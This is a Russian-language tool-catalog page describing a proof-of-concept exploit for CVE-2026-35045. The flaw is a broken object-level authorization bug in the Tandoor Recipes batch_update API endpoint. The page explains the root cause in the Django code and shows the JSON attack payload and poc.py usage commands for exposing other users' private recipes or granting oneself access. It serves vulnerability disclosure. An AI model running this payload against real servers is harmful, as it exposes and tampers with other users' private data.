Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-35045-PoC — Эксплойт proof-of-concept для CVE-2026-35045, уязвимости нарушенной авторизации на уровне объектов в Tandoor Recipes, демонстрирующий несанкционированное изменение рецептов через конечную точку API batch_update. | Kitploit
Инструменты/GitHubGitHub/filipegaudard/cve-2026-35045-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование безопасности APIТестирование на ПроникновениеОбучение и Образование
GitHubfilipegaudard/cve-2026-35045-poc

CVE-2026-35045-PoC

Эксплойт proof-of-concept для CVE-2026-35045, уязвимости нарушенной авторизации на уровне объектов в Tandoor Recipes, демонстрирующий несанкционированное изменение рецептов через конечную точку API batch_update.

Репозиторий
11196 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-35045 — Нарушенная авторизация на уровне объектов в Tandoor Recipes

CVE-2026-35045 GHSA CVSS 8.1 CWE-639

Affected Version Responsible Disclosure


Краткое описание

Конечная точка PUT /api/recipe/batch_update/ в Tandoor Recipes v2.6.1 позволяет любому аутентифицированному пользователю внутри Space изменять любой рецепт в этом Space — включая приватные рецепты, принадлежащие другим пользователям. Это полностью обходит проверки авторизации на уровне объектов, применяемые ко всем стандартным конечным точкам для отдельных рецептов.

Основная причина — поведенческий пробел в Django REST Framework: действия списка с detail=False никогда не вызывают has_object_permission(), только has_permission(). Фильтрация queryset осуществляется исключительно по space=request.space, без проверки created_by, private или списка shared. Злоумышленник может принудительно раскрыть приватные рецепты, самостоятельно предоставить себе постоянный доступ, отозвать права других пользователей и изменить метаданные — всё это одним вызовом API, который выглядит как обычный и возвращает HTTP 200 OK с пустым телом.

Детали уязвимости

ПолеЗначение
CVE IDCVE-2026-35045
GHSAGHSA-v8x3-w674-55p5
CWECWE-639 — Обход авторизации через управляемый пользователем ключ
CVSS v3.18.1 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Затронутая версияTandoor Recipes ≤ 2.6.1
ПоставщикTandoorRecipes/recipes

Сопоставление с MITRE ATT&CK

ID техникиНазваниеАктуальность
T1078Действительные учётные записиЗлоумышленник использует легитимные учётные данные с низкими привилегиями для обхода авторизации
T1565.001Манипуляция хранимыми даннымиИзменение приватных рецептов и списков контроля доступа, принадлежащих другим пользователям

Анализ первопричины

1. detail=False обходит проверки разрешений на уровне объектов

Файл: cookbook/views/api.py

@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
    serializer = self.serializer_class(data=request.data, partial=True)
    if serializer.is_valid():
        recipes = Recipe.objects.filter(
            id__in=serializer.validated_data['recipes'],
            space=self.request.space   # ← Нет проверки created_by или private
        )

В Django REST Framework действия, зарегистрированные с detail=False, являются действиями списка. Они никогда не вызывают get_object(), а значит check_object_permissions() и CustomRecipePermission.has_object_permission() не выполняются. Запускается только has_permission() — который проверяет членство в Space, а не владение рецептом.

2. Стандартные конечные точки защищены корректно

PUT /api/recipe/{id}/ проходит полный поток проверки разрешений DRF:

get_object()
  → check_object_permissions()
    → CustomRecipePermission.has_object_permission()
      → отказывает в доступе, если рецепт приватный и не принадлежит/не расшарен с запрашивающим

Конечная точка batch_update молча пропускает всю эту цепочку.

3. Записываемые поля через batch

RecipeBatchUpdateSerializer предоставляет следующие поля — записываемые для любого рецепта в Space:

ПолеЭффект
privateПереключение видимости рецепта
shared_add / shared_remove / shared_setУправление списком контроля доступа
keywords_add / keywords_remove / keywords_setИзменение метаданных рецепта
working_time / waiting_timeИзменение данных о времени приготовления рецепта

Схема атаки

┌──────────┐   ① PUT /api/recipe/batch_update/    ┌─────────────────┐
│ Attacker │ ─────────────────────────────────────→│  Tandoor Server │
│ (User B) │   {"recipes":[2],"private":false,     │                 │
│          │    "shared_add":[2]}                  │  has_permission()│
└──────────┘                                       │  ✓ (Space member)│
                                                   │                 │
                                                   │  has_object_    │
                                                   │  permission()   │
                                                   │  ✗ НИКОГДА НЕ   │
                                                   │  ВЫЗЫВАЕТСЯ     │
                                                   └────────┬────────┘
                                                            │
                                              ② Recipe.objects.filter(
                                                 id__in=[2],
                                                 space=request.space
                                              )  ← Нет проверки владения
                                                            │
                                                            ▼
                                                   ┌────────────────┐
                                                   │  Recipe ID 2   │
                                                   │  (владелец A)  │
                                                   │  private=false ← изменено
                                                   │  shared=[2]  ← само-предоставлено
                                                   └────────┬───────┘
                                                            │
                                              ③ HTTP 200 OK — {}
                                                            │
                                                            ▼
                                                   ┌────────────────┐
                                                   │ Attacker (B)   │
                                                   │ теперь имеет  │
                                                   │ полный доступ │
                                                   │ к Recipe ID 2  │
                                                   └────────────────┘

Доказательство концепции

Требования

  • Python 3.10+
  • Библиотека requests
pip install requests

Использование

# Принудительно раскрыть приватный рецепт и предоставить себе доступ (по умолчанию)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2

# Только принудительное раскрытие (установить private=false)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2 \
               --action expose

# Только само-предоставление доступа (добавить в shared, оставить private=true)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2 \
               --action self_grant

Модули / Действия

Скачать инструмент